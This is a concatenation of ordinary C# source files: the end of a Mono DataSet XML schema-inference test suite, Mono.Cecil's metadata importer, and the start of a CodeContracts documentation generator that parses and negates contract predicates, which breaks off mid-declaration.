AssertUniqueConstraint ("uniq", dr.ParentKeyConstraint, "Constraint1", true, new string [] {"table_Id"}); AssertForeignKeyConstraint ("fkey", dr.ChildKeyConstraint, "table_col", AcceptRejectRule.None, Rule.Cascade, Rule.Cascade, new string [] {"table_Id"}, new string [] {"table_Id"}); } [Test] public void ConflictColumnTableAttribute () { // Conflicts between a column and a table, additionally an attribute. DataSet ds = GetDataSet (xml20, null); AssertDataSet ("ds", ds, "set", 2, 1); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "table", 1, 0, 0, 1, 1, 1); AssertDataColumn ("table_Id", dt.Columns [0], "table_Id", false, true, 0, 1, "table_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, true); dt = ds.Tables [1]; AssertDataTable ("dt", dt, "col", 3, 0, 1, 0, 1, 0); AssertDataColumn ("another_col", dt.Columns [0], "another_col", true, false, 0, 1, "another_col", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("table_refId", dt.Columns ["table_Id"], "table_Id", true, false, 0, 1, "table_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, /*1*/-1, String.Empty, false, false); AssertDataColumn ("attr", dt.Columns ["attr"], "attr", true, false, 0, 1, "attr", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, /*2*/-1, String.Empty, false, false); DataRelation dr = ds.Relations [0]; AssertDataRelation ("rel", dr, "table_col", true, new string [] {"table_Id"}, new string [] {"table_Id"}, true, true); AssertUniqueConstraint ("uniq", dr.ParentKeyConstraint, "Constraint1", true, new string [] {"table_Id"}); AssertForeignKeyConstraint ("fkey", dr.ChildKeyConstraint, "table_col", AcceptRejectRule.None, Rule.Cascade, Rule.Cascade, new string [] {"table_Id"}, new string [] {"table_Id"}); } [Test] [ExpectedException (typeof (DataException))] public void ConflictAttributeDataTable () { // attribute "data" becomes DataTable, and when column "data" // appears, it cannot be DataColumn, since the name is // already allocated for DataTable. DataSet ds = GetDataSet (xml21, null); } [Test] [ExpectedException (typeof (ConstraintException))] public void ConflictExistingPrimaryKey () { // The 'col' DataTable tries to create another primary key (and fails) DataSet ds = new DataSet (); ds.Tables.Add (new DataTable ("table")); DataColumn c = new DataColumn ("pk"); ds.Tables [0].Columns.Add (c); ds.Tables [0].PrimaryKey = new DataColumn [] {c}; XmlTextReader xtr = new XmlTextReader (xml22, XmlNodeType.Document, null); xtr.Read (); ds.ReadXml (xtr, XmlReadMode.InferSchema); } [Test] public void IgnoredNamespaces () { string xml = "<root attr='val' xmlns:a='urn:foo' a:foo='hogehoge' />"; DataSet ds = new DataSet (); ds.InferXmlSchema (new StringReader (xml), null); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); AssertDataTable ("dt", ds.Tables [0], "root", 2, 0, 0, 0, 0, 0); ds = new DataSet (); ds.InferXmlSchema (new StringReader (xml), new string [] {"urn:foo"}); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); // a:foo is ignored AssertDataTable ("dt", ds.Tables [0], "root", 1, 0, 0, 0, 0, 0); } [Test] public void ContainsSchema () { DataSet ds = new DataSet(); DataTable dt1 = new DataTable(); ds.Tables.Add(dt1); DataColumn dc1 = new DataColumn("Col1"); dt1.Columns.Add(dc1); dt1.Rows.Add(new string[] { "aaa" } ); DataTable dt2 = new DataTable(); ds.Tables.Add(dt2); DataColumn dc2 = new DataColumn("Col2"); dt2.Columns.Add(dc2); dt2.Rows.Add(new string[] { "bbb" } ); DataRelation rel = new DataRelation("Rel1",dc1,dc2,false); ds.Relations.Add(rel); StringWriter sw = new StringWriter (); ds.WriteXml(sw, XmlWriteMode.WriteSchema); ds = new DataSet(); ds.ReadXml(new StringReader (sw.ToString ())); sw = new StringWriter (); ds.WriteXml(sw); XmlDocument doc = new XmlDocument (); doc.LoadXml (sw.ToString ()); AssertEquals (2, doc.DocumentElement.ChildNodes.Count); } } }
// // Import.cs // // Author: // Jb Evain (jbevain@gmail.com) // // Copyright (c) 2008 - 2010 Jb Evain // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // using System; using System.Collections.Generic; using SR = System.Reflection; using Mono.Cecil.Metadata; namespace Mono.Cecil { enum ImportGenericKind { Definition, Open, } class MetadataImporter { readonly ModuleDefinition module; public MetadataImporter (ModuleDefinition module) { this.module = module; } #if !CF static readonly Dictionary<Type, ElementType> type_etype_mapping = new Dictionary<Type, ElementType> (18) { { typeof (void), ElementType.Void }, { typeof (bool), ElementType.Boolean }, { typeof (char), ElementType.Char }, { typeof (sbyte), ElementType.I1 }, { typeof (byte), ElementType.U1 }, { typeof (short), ElementType.I2 }, { typeof (ushort), ElementType.U2 }, { typeof (int), ElementType.I4 }, { typeof (uint), ElementType.U4 }, { typeof (long), ElementType.I8 }, { typeof (ulong), ElementType.U8 }, { typeof (float), ElementType.R4 }, { typeof (double), ElementType.R8 }, { typeof (string), ElementType.String }, { typeof (TypedReference), ElementType.TypedByRef }, { typeof (IntPtr), ElementType.I }, { typeof (UIntPtr), ElementType.U }, { typeof (object), ElementType.Object }, }; public TypeReference ImportType (Type type, IGenericContext context) { return ImportType (type, context, ImportGenericKind.Open); } public TypeReference ImportType (Type type, IGenericContext context, ImportGenericKind import_kind) { if (IsTypeSpecification (type) || ImportOpenGenericType (type, import_kind)) return ImportTypeSpecification (type, context); var reference = new TypeReference ( string.Empty, type.Name, module, ImportScope (type.Assembly), type.IsValueType); reference.etype = ImportElementType (type); if (IsNestedType (type)) reference.DeclaringType = ImportType (type.DeclaringType, context, import_kind); else reference.Namespace = type.Namespace; if (type.IsGenericType) ImportGenericParameters (reference, type.GetGenericArguments ()); return reference; } static bool ImportOpenGenericType (Type type, ImportGenericKind import_kind) { return type.IsGenericType && type.IsGenericTypeDefinition && import_kind == ImportGenericKind.Open; } static bool ImportOpenGenericMethod (SR.MethodBase method, ImportGenericKind import_kind) { return method.IsGenericMethod && method.IsGenericMethodDefinition && import_kind == ImportGenericKind.Open; } static bool IsNestedType (Type type) { #if !SILVERLIGHT return type.IsNested; #else return type.DeclaringType != null; #endif } TypeReference ImportTypeSpecification (Type type, IGenericContext context) { if (type.IsByRef) return new ByReferenceType (ImportType (type.GetElementType (), context)); if (type.IsPointer) return new PointerType (ImportType (type.GetElementType (), context)); if (type.IsArray) return new ArrayType (ImportType (type.GetElementType (), context), type.GetArrayRank ()); if (type.IsGenericType) return ImportGenericInstance (type, context); if (type.IsGenericParameter) return ImportGenericParameter (type, context); throw new NotSupportedException (type.FullName); } static TypeReference ImportGenericParameter (Type type, IGenericContext context) { if (context == null) throw new InvalidOperationException (); var owner = type.DeclaringMethod != null ? context.Method : context.Type; if (owner == null) throw new InvalidOperationException (); return owner.GenericParameters [type.GenericParameterPosition]; } TypeReference ImportGenericInstance (Type type, IGenericContext context) { var element_type = ImportType (type.GetGenericTypeDefinition (), context, ImportGenericKind.Definition); var instance = new GenericInstanceType (element_type); var arguments = type.GetGenericArguments (); var instance_arguments = instance.GenericArguments; for (int i = 0; i < arguments.Length; i++) instance_arguments.Add (ImportType (arguments [i], context ?? element_type)); return instance; } static bool IsTypeSpecification (Type type) { return type.HasElementType || IsGenericInstance (type) || type.IsGenericParameter; } static bool IsGenericInstance (Type type) { return type.IsGenericType && !type.IsGenericTypeDefinition; } static ElementType ImportElementType (Type type) { ElementType etype; if (!type_etype_mapping.TryGetValue (type, out etype)) return ElementType.None; return etype; } AssemblyNameReference ImportScope (SR.Assembly assembly) { AssemblyNameReference scope; #if !SILVERLIGHT var name = assembly.GetName (); if (TryGetAssemblyNameReference (name, out scope)) return scope; scope = new AssemblyNameReference (name.Name, name.Version) { Culture = name.CultureInfo.Name, PublicKeyToken = name.GetPublicKeyToken (), HashAlgorithm = (AssemblyHashAlgorithm) name.HashAlgorithm, }; module.AssemblyReferences.Add (scope); return scope; #else var name = AssemblyNameReference.Parse (assembly.FullName); if (TryGetAssemblyNameReference (name, out scope)) return scope; module.AssemblyReferences.Add (name); return name; #endif } #if !SILVERLIGHT bool TryGetAssemblyNameReference (SR.AssemblyName name, out AssemblyNameReference assembly_reference) { var references = module.AssemblyReferences; for (int i = 0; i < references.Count; i++) { var reference = references [i]; if (name.FullName != reference.FullName) // TODO compare field by field continue; assembly_reference = reference; return true; } assembly_reference = null; return false; } #endif public FieldReference ImportField (SR.FieldInfo field, IGenericContext context) { var declaring_type = ImportType (field.DeclaringType, context); if (IsGenericInstance (field.DeclaringType)) field = ResolveFieldDefinition (field); return new FieldReference { Name = field.Name, DeclaringType = declaring_type, FieldType = ImportType (field.FieldType, context ?? declaring_type), }; } static SR.FieldInfo ResolveFieldDefinition (SR.FieldInfo field) { #if !SILVERLIGHT return field.Module.ResolveField (field.MetadataToken); #else return field.DeclaringType.GetGenericTypeDefinition ().GetField (field.Name, SR.BindingFlags.Public | SR.BindingFlags.NonPublic | (field.IsStatic ? SR.BindingFlags.Static : SR.BindingFlags.Instance)); #endif } public MethodReference ImportMethod (SR.MethodBase method, IGenericContext context, ImportGenericKind import_kind) { if (IsMethodSpecification (method) || ImportOpenGenericMethod (method, import_kind)) return ImportMethodSpecification (method, context); var declaring_type = ImportType (method.DeclaringType, context); if (IsGenericInstance (method.DeclaringType)) method = method.Module.ResolveMethod (method.MetadataToken); var reference = new MethodReference { Name = method.Name, HasThis = HasCallingConvention (method, SR.CallingConventions.HasThis), ExplicitThis = HasCallingConvention (method, SR.CallingConventions.ExplicitThis), DeclaringType = ImportType (method.DeclaringType, context, ImportGenericKind.Definition), }; if (HasCallingConvention (method, SR.CallingConventions.VarArgs)) reference.CallingConvention &= MethodCallingConvention.VarArg; if (method.IsGenericMethod) ImportGenericParameters (reference, method.GetGenericArguments ()); var method_info = method as SR.MethodInfo; reference.ReturnType = method_info != null ? ImportType (method_info.ReturnType, context ?? reference) : ImportType (typeof (void), null); var parameters = method.GetParameters (); var reference_parameters = reference.Parameters; for (int i = 0; i < parameters.Length; i++) reference_parameters.Add ( new ParameterDefinition (ImportType (parameters [i].ParameterType, context ?? reference))); reference.DeclaringType = declaring_type; return reference; } static void ImportGenericParameters (IGenericParameterProvider provider, Type [] arguments) { var provider_parameters = provider.GenericParameters; for (int i = 0; i < arguments.Length; i++) provider_parameters.Add (new GenericParameter (arguments [i].Name, provider)); } static bool IsMethodSpecification (SR.MethodBase method) { return method.IsGenericMethod && !method.IsGenericMethodDefinition; } MethodReference ImportMethodSpecification (SR.MethodBase method, IGenericContext context) { var method_info = method as SR.MethodInfo; if (method_info == null) throw new InvalidOperationException (); var element_method = ImportMethod (method_info.GetGenericMethodDefinition (), context, ImportGenericKind.Definition); var instance = new GenericInstanceMethod (element_method); var arguments = method.GetGenericArguments (); var instance_arguments = instance.GenericArguments; for (int i = 0; i < arguments.Length; i++) instance_arguments.Add (ImportType (arguments [i], context ?? element_method)); return instance; } static bool HasCallingConvention (SR.MethodBase method, SR.CallingConventions conventions) { return (method.CallingConvention & conventions) != 0; } #endif public TypeReference ImportType (TypeReference type, IGenericContext context) { if (type.IsTypeSpecification ()) return ImportTypeSpecification (type, context); var reference = new TypeReference ( type.Namespace, type.Name, module, ImportScope (type.Scope), type.IsValueType); MetadataSystem.TryProcessPrimitiveType (reference); if (type.IsNested) reference.DeclaringType = ImportType (type.DeclaringType, context); if (type.HasGenericParameters) ImportGenericParameters (reference, type); return reference; } IMetadataScope ImportScope (IMetadataScope scope) { switch (scope.MetadataScopeType) { case MetadataScopeType.AssemblyNameReference: return ImportAssemblyName ((AssemblyNameReference) scope); case MetadataScopeType.ModuleDefinition: return ImportAssemblyName (((ModuleDefinition) scope).Assembly.Name); case MetadataScopeType.ModuleReference: throw new NotImplementedException (); } throw new NotSupportedException (); } AssemblyNameReference ImportAssemblyName (AssemblyNameReference name) { AssemblyNameReference reference; if (TryGetAssemblyNameReference (name, out reference)) return reference; reference = new AssemblyNameReference (name.Name, name.Version) { Culture = name.Culture, HashAlgorithm = name.HashAlgorithm, }; var pk_token = !name.PublicKeyToken.IsNullOrEmpty () ? new byte [name.PublicKeyToken.Length] : Empty<byte>.Array; if (pk_token.Length > 0) Buffer.BlockCopy (name.PublicKeyToken, 0, pk_token, 0, pk_token.Length); reference.PublicKeyToken = pk_token; module.AssemblyReferences.Add (reference); return reference; } bool TryGetAssemblyNameReference (AssemblyNameReference name_reference, out AssemblyNameReference assembly_reference) { var references = module.AssemblyReferences; for (int i = 0; i < references.Count; i++) { var reference = references [i]; if (name_reference.FullName != reference.FullName) // TODO compare field by field continue; assembly_reference = reference; return true; } assembly_reference = null; return false; } static void ImportGenericParameters (IGenericParameterProvider imported, IGenericParameterProvider original) { var parameters = original.GenericParameters; var imported_parameters = imported.GenericParameters; for (int i = 0; i < parameters.Count; i++) imported_parameters.Add (new GenericParameter (parameters [i].Name, imported)); } TypeReference ImportTypeSpecification (TypeReference type, IGenericContext context) { switch (type.etype) { case ElementType.SzArray: var vector = (ArrayType) type; return new ArrayType (ImportType (vector.ElementType, context)); case ElementType.Ptr: var pointer = (PointerType) type; return new PointerType (ImportType (pointer.ElementType, context)); case ElementType.ByRef: var byref = (ByReferenceType) type; return new ByReferenceType (ImportType (byref.ElementType, context)); case ElementType.Pinned: var pinned = (PinnedType) type; return new PinnedType (ImportType (pinned.ElementType, context)); case ElementType.Sentinel: var sentinel = (SentinelType) type; return new SentinelType (ImportType (sentinel.ElementType, context)); case ElementType.CModOpt: var modopt = (OptionalModifierType) type; return new OptionalModifierType ( ImportType (modopt.ModifierType, context), ImportType (modopt.ElementType, context)); case ElementType.CModReqD: var modreq = (RequiredModifierType) type; return new RequiredModifierType ( ImportType (modreq.ModifierType, context), ImportType (modreq.ElementType, context)); case ElementType.Array: var array = (ArrayType) type; var imported_array = new ArrayType (ImportType (array.ElementType, context)); if (array.IsVector) return imported_array; var dimensions = array.Dimensions; var imported_dimensions = imported_array.Dimensions; imported_dimensions.Clear (); for (int i = 0; i < dimensions.Count; i++) { var dimension = dimensions [i]; imported_dimensions.Add (new ArrayDimension (dimension.LowerBound, dimension.UpperBound)); } return imported_array; case ElementType.GenericInst: var instance = (GenericInstanceType) type; var element_type = ImportType (instance.ElementType, context); var imported_instance = new GenericInstanceType (element_type); var arguments = instance.GenericArguments; var imported_arguments = imported_instance.GenericArguments; for (int i = 0; i < arguments.Count; i++) imported_arguments.Add (ImportType (arguments [i], context)); return imported_instance; case ElementType.Var: if (context == null || context.Type == null) throw new InvalidOperationException (); return ((TypeReference) context.Type).GetElementType ().GenericParameters [((GenericParameter) type).Position]; case ElementType.MVar: if (context == null || context.Method == null) throw new InvalidOperationException (); return context.Method.GenericParameters [((GenericParameter) type).Position]; } throw new NotSupportedException (type.etype.ToString ()); } public FieldReference ImportField (FieldReference field, IGenericContext context) { var declaring_type = ImportType (field.DeclaringType, context); return new FieldReference { Name = field.Name, DeclaringType = declaring_type, FieldType = ImportType (field.FieldType, context ?? declaring_type), }; } public MethodReference ImportMethod (MethodReference method, IGenericContext context) { if (method.IsGenericInstance) return ImportMethodSpecification (method, context); var declaring_type = ImportType (method.DeclaringType, context); var reference = new MethodReference { Name = method.Name, HasThis = method.HasThis, ExplicitThis = method.ExplicitThis, DeclaringType = declaring_type, }; reference.CallingConvention = method.CallingConvention; if (method.HasGenericParameters) ImportGenericParameters (reference, method); reference.ReturnType = ImportType (method.ReturnType, context ?? reference); if (!method.HasParameters) return reference; var reference_parameters = reference.Parameters; var parameters = method.Parameters; for (int i = 0; i < parameters.Count; i++) reference_parameters.Add ( new ParameterDefinition (ImportType (parameters [i].ParameterType, context ?? reference))); return reference; } MethodSpecification ImportMethodSpecification (MethodReference method, IGenericContext context) { if (!method.IsGenericInstance) throw new NotSupportedException (); var instance = (GenericInstanceMethod) method; var element_method = ImportMethod (instance.ElementMethod, context); var imported_instance = new GenericInstanceMethod (element_method); var arguments = instance.GenericArguments; var imported_arguments = imported_instance.GenericArguments; for (int i = 0; i < arguments.Count; i++) imported_arguments.Add (ImportType (arguments [i], context)); return imported_instance; } } }
// CodeContracts // // Copyright (c) Microsoft Corporation // // All rights reserved. // // MIT License // // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. using System; using System.Compiler; using System.IO; using System.Collections.Generic; using System.Text; using System.Diagnostics.Contracts; [assembly: ContractVerification(false)] namespace Microsoft.Contracts.Foxtrot { public class GenerateDocumentationFromPDB : Inspector { private int tabWidth; private int tabStops; private bool writeOutput; private ContractNodes contracts; public GenerateDocumentationFromPDB(ContractNodes contracts) : this(contracts, 2, false) { } public GenerateDocumentationFromPDB(ContractNodes contracts, int tabWidth, bool writeOutput) { this.contracts = contracts; this.tabWidth = tabWidth; this.tabStops = 0; this.writeOutput = writeOutput; } private void Indent() { string s = ""; s = s.PadLeft(tabStops*tabWidth); Console.Write(s); } // Code from BrianGru to negate predicates coming from if-then-throw preconditions // Recognize some common predicate forms, and negate them. Also, fall back to a correct default. private static string NegatePredicate(string predicate) { if (string.IsNullOrEmpty(predicate)) return ""; // "(p)", but avoiding stuff like "(p && q) || (!p)" if (predicate[0] == '(' && predicate[predicate.Length - 1] == ')') { if (predicate.IndexOf('(', 1) == -1) return '(' + NegatePredicate(predicate.Substring(1, predicate.Length - 2)) + ')'; } // "!p" if (predicate[0] == '!' && (ContainsNoOperators(predicate, 1, predicate.Length - 1) || IsSimpleFunctionCall(predicate, 1, predicate.Length - 1))) return predicate.Substring(1); // "a < b" or "a <= b" if (predicate.Contains("<")) { int aStart = 0, aEnd, bStart, bEnd = predicate.Length; int ltIndex = predicate.IndexOf('<'); bool ltOrEquals = predicate[ltIndex + 1] == '='; aEnd = ltIndex; bStart = ltOrEquals ? ltIndex + 2 : ltIndex + 1; string a = predicate.Substring(aStart, aEnd - aStart); string b = predicate.Substring(bStart, bEnd - bStart); if (ContainsNoOperators(a) && ContainsNoOperators(b)) return a + (ltOrEquals ? ">" : ">=") + b; } // "a > b" or "a >= b" if (predicate.Contains(">")) { int aStart = 0, aEnd, bStart, bEnd = predicate.Length; int gtIndex = predicate.IndexOf('>'); bool gtOrEquals = predicate[gtIndex + 1] == '='; aEnd = gtIndex; bStart = gtOrEquals ? gtIndex + 2 : gtIndex + 1; string a = predicate.Substring(aStart, aEnd - aStart); string b = predicate.Substring(bStart, bEnd - bStart); if (ContainsNoOperators(a) && ContainsNoOperators(b)) return a + (gtOrEquals ? "<" : "<=") + b; } // "a == b" or "a != b" if (predicate.Contains("=")) { int aStart = 0, aEnd = -1, bStart = -1, bEnd = predicate.Length; int eqIndex = predicate.IndexOf('='); bool skip = false; bool equalsOperator = false; if (predicate[eqIndex - 1] == '!') { aEnd = eqIndex - 1; bStart = eqIndex + 1; equalsOperator = false; } else if (predicate[eqIndex + 1] == '=') { aEnd = eqIndex; bStart = eqIndex + 2; equalsOperator = true; } else { skip = true; } if (!skip) { string a = predicate.Substring(aStart, aEnd - aStart); string b = predicate.Substring(bStart, bEnd - bStart); if (ContainsNoOperators(a) && ContainsNoOperators(b)) { return a + (equalsOperator ? "!=" : "==") + b; } } } if (predicate.Contains("&&") || predicate.Contains("||")) { // Consider predicates like "(P) && (Q)", "P || Q", "(P || Q) && R", etc. // Apply DeMorgan's law, and recurse to negate both sides of the binary operator. int aStart = 0, aEnd, bStart, bEnd = predicate.Length; int parenCount = 0; bool skip = false; bool foundAnd = false, foundOr = false; aEnd = 0; while (aEnd < predicate.Length && ((predicate[aEnd] != '&' && predicate[aEnd] != '|') || parenCount > 0)) { if (predicate[aEnd] == '(') parenCount++; else if (predicate[aEnd] == ')') parenCount--; aEnd++; } if (aEnd >= predicate.Length - 1) { skip = true; } else { if (aEnd + 1 < predicate.Length && predicate[aEnd] == '&' && predicate[aEnd + 1] == '&') foundAnd = true; else if (aEnd + 1 < predicate.Length && predicate[aEnd] == '|' && predicate[aEnd + 1] == '|') foundOr = true; if (!foundAnd && !foundOr) skip = true; } if (!skip) { bStart = aEnd + 2; while (Char.IsWhiteSpace(predicate[aEnd - 1])) aEnd--; while (Char.IsWhiteSpace(predicate[bStart])) bStart++; string a = predicate.Substring(aStart, aEnd - aStart); string b = predicate.Substring(bStart, bEnd - bStart); string op = foundAnd ? " || " : " && "; return NegatePredicate(a) + op + NegatePredicate(b); } } return string.Format("!({0})", predicate); } private static bool ContainsNoOperators(string s) { return ContainsNoOperators(s, 0, s.Length); } // These aren't operators like + per se, but ones that will cause evaluation order to possibly change, // or alter the semantics of what might be in a predicate. // @TODO: Consider adding '~' private static readonly string[] Operators = new string[] {"==", "!=", "=", "<", ">", "(", ")", "//", "/*", "*/"}; private static bool ContainsNoOperators(string s, int start, int end) { foreach (string op in Operators) { if (s.IndexOf(op) >= 0) { return false; } } return true; } private static bool ArrayContains<T>(T[] array, T item) { foreach (T x in array) { if (item.Equals(x)) { return true; } } return false; } // Recognize only SIMPLE method calls, like "System.string.Equals("", "")". private static bool IsSimpleFunctionCall(string s, int start, int end) { char[] badChars = {'+', '-', '*', '/', '~', '<', '=', '>', ';', '?', ':'}; int parenCount = 0; int index = start; bool foundMethod = false; for (; index < end; index++) { if (s[index] == '(') { parenCount++; if (parenCount > 1) return false; if (foundMethod == true) return false; foundMethod = true; } else if (s[index] == ')') { parenCount--; if (index != end - 1) return false; } else if (ArrayContains(badChars, s[index])) { return false; } } return foundMethod; } /// <summary> /// Stupid parser that returns every character in between the first opening /// parenthesis and either the matching closing parenthesis or else (the first /// comma it finds *if* it is at the top level of parentheses). /// NOTE: it does not take into account embedded character strings in the text, /// so if those are not matched, then it will not return the correct result. /// </summary> [ContractVerification(true)] private static string /*?*/ Parse(string prefix, DocSlice /*?*/ text, out bool isVB) { int i; if (prefix == "if") { // legacy. Watch for VB If ... Then, in which case we are not seeing any parentheses i = SkipToPrefixWithWhiteSpace(ref text, "If", 0); if (i >= 0) { isVB = true; return ParseVBIfThenText(text, i + 3); } } isVB = false; // skip to first open paren i = SkipToOpenParen(ref text, 0); if (i < 0) return null; i++; // skip open paren // handle VB generics (Of if (i < text.Length && i + 1 < text.Length && text[i] == 'O' && text[i + 1] == 'f') { i = SkipToMatchingCloseParen(ref text, i + 2, false); if (i < 0) return null; i = SkipToOpenParen(ref text, i + 1); if (i < 0) return null; i++; // skip open paren } int indexOfFirstCharOfCondition = i; int closingParen = SkipToMatchingCloseParen(ref text, i, true); if (closingParen < indexOfFirstCharOfCondition) return null; return text.Substring(indexOfFirstCharOfCondition, closingParen - indexOfFirstCharOfCondition); } [ContractVerification(true)] private static string ParseVBIfThenText(DocSlice text, int start) { Contract.Requires(start >= 0); int i = start; while (i < text.Length) { // find space before Then while (i < text.Length && !Char.IsWhiteSpace(text[i])) i++; // skip white space (or past text) i++; // check Then if (HasChar('T', text, i) && HasChar('h', text, i + 1) && HasChar('e', text, i + 2) && HasChar('n', text, i + 3)) { return text.Substring(start, i - start); } } return null; } [ContractVerification(true)] private static bool HasChar(char c, DocSlice text, int i) { Contract.Requires(i >= 0); Contract.Ensures(i < text.Length || !Contract.Result<bool>()); if (i >= text.Length) return false; return text[i] == c; } [ContractVerification(true)] private static int SkipToPrefixWithWhiteSpace(ref DocSlice text, string prefix, int i) { Contract.Requires(i >= 0); Contract.Requires(!string.IsNullOrEmpty(prefix)); Contract.Ensures(Contract.Result<int>() >= -1); Contract.Ensures(Contract.Result<int>() < text.Length); Contract.Assert(prefix != null); while (i < text.Length && Char.IsWhiteSpace(text[i])) i++; if (i >= text.Length) return -1; int start = i; int j = 0; while (i < text.Length && j < prefix.Length && text[i] == prefix[j]) { i++; j++; } if (j == prefix.Length && i < text.Length && Char.IsWhiteSpace(text[i])) return start; return -1; } [ContractVerification(true)] [Pure] private static int SkipToOpenParen(ref DocSlice text, int i) { Contract.Requires(i >= 0); Contract.Ensures(Contract.Result<int>() >= -1); Contract.Ensures(Contract.Result<int>() < text.Length); while (i < text.Length && text[i] != '(') i++; if (i < text.Length) return i; return -1; } /// <summary> /// Returns matching close parenthesis or comma if paren count == 1. -1 if no match before end of text /// /// Problems: given generic method instantiations, there can be commas that are not the end of the /// condition, but parsing expressions and determining if a open angle bracket is a generic /// argument list or a greater than is non-trivial. It seems to require parsing types. /// /// Instead, we identify the closing paren and then work backwards from there. We assume /// that the extra expression argument to Contract calls cannot contain greater and less than /// comparisons or shifts so all angle brackets are part of generic instantiations. /// </summary> [ContractVerification(true)] [Pure] private static int SkipToMatchingCloseParen(ref DocSlice text, int i, bool allowCommaAsEndingParen) { Contract.Requires(i >= 0); Contract.Ensures(Contract.Result<int>() >= -1); Contract.Ensures(Contract.Result<int>() < text.Length); bool containsComma; var closingParen = FindClosingParenthesis(ref text, i, out containsComma); if (closingParen < 0 || !allowCommaAsEndingParen || !containsComma) return closingParen; var commaPos = FindPreceedingComma(ref text, closingParen); if (commaPos >= 0) return commaPos; return closingParen; } [ContractVerification(true)] [Pure] private static bool IsEscape(ref DocSlice text, int i) { Contract.Requires(i < text.Length); if (i < 0) return false; if (text[i] != '\\') return false; // avoid escaped backslash if (!IsEscape(ref text, i - 1)) return true; return false; } /// <summary> /// Assume that code between i and the comma does not contain comparison operators, shift, etc. /// so all angle brackets are part of generic argument lists and properly matched. /// </summary> [ContractVerification(true)] [Pure] private static int FindPreceedingComma(ref DocSlice text, int i) { Contract.Requires(i >= 0); Contract.Requires(i < text.Length); Contract.Ensures(Contract.Result<int>() >= -1); Contract.Ensures(Contract.Result<int>() <= i); bool insideQuotes = false; bool insideDoubleQuotes = false; int parenCount = 0; int angleCount = 0; i--; // skip closing paren while (i >= 0) { Contract.Assert(i < text.Length); if (!insideDoubleQuotes && text[i] == '\'' && !IsEscape(ref text, i - 1)) { insideQuotes = !insideQuotes; } if (!insideQuotes && text[i] == '"' && !IsEscape(ref text, i - 1)) { insideDoubleQuotes = !insideDoubleQuotes; } if (insideDoubleQuotes || insideQuotes) { // skip } else { if (text[i] == ',' && angleCount == 0 && parenCount == 0) return i; if (text[i] == ')') parenCount++; else if (text[i] == '(') parenCount--; else if (text[i] == '>') angleCount++; else if (text[i] == '<') angleCount--; } i--; } return -1; } [Pure] [ContractVerification(true)] private static int FindClosingParenthesis(ref DocSlice text, int i, out bool containsComma) { Contract.Requires(i >= 0); Contract.Ensures(Contract.Result<int>() >= -1); Contract.Ensures(Contract.Result<int>() < text.Length); containsComma = false; if (i >= text.Length) { return -1; } // no closing paren bool wasEscape = false; bool insideQuotes = false; bool insideDoubleQuotes = false; int parenCount = 1; while (i < text.Length && 0 < parenCount) { if (!insideDoubleQuotes && !wasEscape && text[i] == '\'') { insideQuotes = !insideQuotes; } if (!insideQuotes && !wasEscape && text[i] == '"') { insideDoubleQuotes = !insideDoubleQuotes; } if (insideDoubleQuotes || insideQuotes) { if (!wasEscape && text[i] == '\\') { wasEscape = true; } else { wasEscape = false; } // skip } else { if (text[i] == '(') parenCount++; else if (text[i] == ')') parenCount--; else if (text[i] == ',') containsComma = true; } i++; } if (parenCount > 0) return -1; return i - 1; } private struct DocSlice { private SourceDocument doc; private int startLine; private int startColumn; private int endLine; private int count; [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1822:MarkMembersAsStatic"), System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] [ContractInvariantMethod] private void ObjectInvariant() { Contract.Invariant(this.doc != null); Contract.Invariant(this.startLine > 0); Contract.Invariant(this.startColumn >= 0); Contract.Invariant(this.count >= 0); } public DocSlice(SourceDocument doc, int startLine, int startColumn, int endLine) { Contract.Requires(doc != null); Contract.Requires(startLine > 0); this.doc = doc; this.startColumn = startColumn; this.startLine = startLine; this.endLine = endLine; this.count = 0; // compute count int i = startLine; while (i <= endLine) { string s = doc[i]; if (s == null) return; count += s.Length; i++; } count -= startColumn; if (count < 0) { // problem. indicates source/pdb are out of date w.r.t each other count = 0; } } public int Length { get { Contract.Ensures(Contract.Result<int>() >= 0); return this.count; } } public 